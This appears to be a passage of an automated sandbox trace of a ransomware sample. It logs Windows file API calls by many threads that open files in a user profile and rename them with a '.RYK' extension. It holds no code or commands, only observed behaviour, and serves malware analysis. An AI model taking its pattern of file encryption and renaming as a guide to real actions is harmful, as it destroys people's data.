	[0248.442] ReadFile (in: hFile=0x508, lpBuffer=0x90bf9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90bf940, lpOverlapped=0x0 | out: lpBuffer=0x90bf9d0*, lpNumberOfBytesRead=0x90bf940*=0x19, lpOverlapped=0x0) returned 1
	[0248.442] CloseHandle (hObject=0x508) returned 1

Thread:
	id = 2751
	os_tid = 0x30f4

	[0248.797] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.797] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514
	[0248.797] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x93afcd8 | out: lpFileSize=0x93afcd8*=138738) returned 1
	[0248.798] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x93afce8 | out: lpFileSize=0x93afce8*=138738) returned 1
	[0248.798] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.798] ReadFile (in: hFile=0x514, lpBuffer=0x93afd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93afca0, lpOverlapped=0x0 | out: lpBuffer=0x93afd30*, lpNumberOfBytesRead=0x93afca0*=0x19, lpOverlapped=0x0) returned 1
	[0248.798] CloseHandle (hObject=0x514) returned 1

Thread:
	id = 2766
	os_tid = 0x3134

	[0248.802] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.803] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514
	[0248.803] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x950fd18 | out: lpFileSize=0x950fd18*=53474) returned 1
	[0248.803] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x950fd28 | out: lpFileSize=0x950fd28*=53474) returned 1
	[0248.803] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.803] ReadFile (in: hFile=0x514, lpBuffer=0x950fd70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x950fce0, lpOverlapped=0x0 | out: lpBuffer=0x950fd70*, lpNumberOfBytesRead=0x950fce0*=0x19, lpOverlapped=0x0) returned 1
	[0248.803] CloseHandle (hObject=0x514) returned 1

Thread:
	id = 2767
	os_tid = 0x3138

	[0248.807] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0248.807] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518
	[0248.808] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x96cf698 | out: lpFileSize=0x96cf698*=5410) returned 1
	[0248.808] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x96cf6a8 | out: lpFileSize=0x96cf6a8*=5410) returned 1
	[0248.808] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.808] ReadFile (in: hFile=0x518, lpBuffer=0x96cf6f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x96cf660, lpOverlapped=0x0 | out: lpBuffer=0x96cf6f0*, lpNumberOfBytesRead=0x96cf660*=0x19, lpOverlapped=0x0) returned 1
	[0248.808] CloseHandle (hObject=0x518) returned 1

Thread:
	id = 2768
	os_tid = 0x313c

	[0248.814] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0248.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518
	[0248.815] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x996f978 | out: lpFileSize=0x996f978*=77762) returned 1
	[0248.815] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x996f988 | out: lpFileSize=0x996f988*=77762) returned 1
	[0248.815] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.815] ReadFile (in: hFile=0x518, lpBuffer=0x996f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x996f940, lpOverlapped=0x0 | out: lpBuffer=0x996f9d0*, lpNumberOfBytesRead=0x996f940*=0x19, lpOverlapped=0x0) returned 1
	[0248.815] CloseHandle (hObject=0x518) returned 1

Thread:
	id = 2769
	os_tid = 0x3140

	[0248.820] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520
	[0248.821] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x982f7f8 | out: lpFileSize=0x982f7f8*=1458) returned 1
	[0248.821] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x982f808 | out: lpFileSize=0x982f808*=1458) returned 1
	[0248.821] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.821] ReadFile (in: hFile=0x520, lpBuffer=0x982f850, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x982f7c0, lpOverlapped=0x0 | out: lpBuffer=0x982f850*, lpNumberOfBytesRead=0x982f7c0*=0x19, lpOverlapped=0x0) returned 1
	[0248.821] CloseHandle (hObject=0x520) returned 1

Thread:
	id = 2770
	os_tid = 0x3144

	[0248.825] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.826] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0248.826] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x8e0f798 | out: lpFileSize=0x8e0f798*=66498) returned 1
	[0248.826] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x8e0f7a8 | out: lpFileSize=0x8e0f7a8*=66498) returned 1
	[0248.826] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.826] ReadFile (in: hFile=0x524, lpBuffer=0x8e0f7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e0f760, lpOverlapped=0x0 | out: lpBuffer=0x8e0f7f0*, lpNumberOfBytesRead=0x8e0f760*=0x19, lpOverlapped=0x0) returned 1
	[0248.826] CloseHandle (hObject=0x524) returned 1

Thread:
	id = 2771
	os_tid = 0x3148

	[0248.841] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.842] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518
	[0248.842] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x927f578 | out: lpFileSize=0x927f578*=2962) returned 1
	[0248.842] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x927f588 | out: lpFileSize=0x927f588*=2962) returned 1
	[0248.842] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.842] ReadFile (in: hFile=0x518, lpBuffer=0x927f5d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x927f540, lpOverlapped=0x0 | out: lpBuffer=0x927f5d0*, lpNumberOfBytesRead=0x927f540*=0x19, lpOverlapped=0x0) returned 1
	[0248.842] CloseHandle (hObject=0x518) returned 1

Thread:
	id = 2772
	os_tid = 0x314c

	[0248.843] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0248.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.844] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2773
	os_tid = 0x3150

	[0249.103] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0249.103] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.103] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2792
	os_tid = 0x319c

	[0249.114] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 0
	[0249.114] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.114] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2793
	os_tid = 0x31a0

	[0249.120] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 0
	[0249.120] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.120] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2794
	os_tid = 0x31a4

	[0249.123] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 0
	[0249.123] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.123] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2795
	os_tid = 0x31a8

	[0249.127] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 0
	[0249.127] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.127] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2796
	os_tid = 0x31ac

	[0249.130] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 0
	[0249.131] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.131] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2797
	os_tid = 0x31b0

	[0249.134] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 0
	[0249.134] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.134] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 2798
	os_tid = 0x31b4

	[0249.414] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
	[0249.414] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.415] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.415] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2813
	os_tid = 0x31f4

	[0249.418] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0249.418] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.418] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.418] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2814
	os_tid = 0x31f8

	[0249.422] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv", dwFileAttributes=0x80) returned 0
	[0249.422] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.422] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-jDCM.csv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-jdcm.csv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2815
	os_tid = 0x31fc

	[0249.425] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-lr0Ch.doc", dwFileAttributes=0x80) returned 0
